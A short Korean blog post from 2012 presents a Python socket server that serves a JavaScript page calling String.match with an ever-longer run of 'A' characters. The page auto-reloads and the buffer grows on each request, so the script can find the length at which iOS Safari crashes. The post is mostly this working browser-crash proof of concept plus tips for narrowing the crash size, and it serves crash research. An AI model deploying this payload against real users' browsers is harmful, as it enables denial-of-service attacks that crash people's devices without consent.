2012/11/01

IOS Safari Crash Check


#IOS에서 SAFARI CRASH 취약점이 있는데 OS마다 다르다는 이야기가 있어서 ㅋ
#길이체크를 위해서 만들어 봤다 ㅋ 자동으로 refresh하는데 refresh할때마다 size올리는 ㅋ
#한번 접속하면 그다음부터는 멈출때까지 나두면 된다 ㅋ
#lv_buflen의 값을 조절하면서 자리수 단위로 하면 더 빨리 할수 있음 ㅋ
#참고로 지속하다보면 더미 메모리에 의해 크래쉬나는경우도 있는듯함 ㅋ
#발견하더라도 2~3단계 전(290000에서 크래쉬 발생시 270000에서 해보는 등)에서 한단위씩 낮춰서 할필요있음(100->10)
#IOS Safari Crash Check
import socket
import sys

HOST = '0.0.0.0'
PORT = 88
s = None
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
if s is None:
    print 'could not open socket'
    sys.exit(1)
#lv_buflen=925000
lv_buflen=100000
while 1:
    conn, addr = s.accept()
    print 'Connected by', addr
    data = conn.recv(1024)
    if not data: break
    data='\n\n<html><title>Crash with match script('+str(lv_buflen)+')</title>'
    data+='<script>setTimeout("location.reload()", 20000); \n var lv_var=\'oroi\';\n lv_var.match(\''+('A'*lv_buflen)+'\');\n</script></html>\n\n\n\n'
    conn.sendall(data)
    print str(lv_buflen) + ' sended'
    conn.close()
    lv_buflen+=100

0개의 덧글:

댓글 쓰기

에 가입 댓글 [Atom]

<< 홈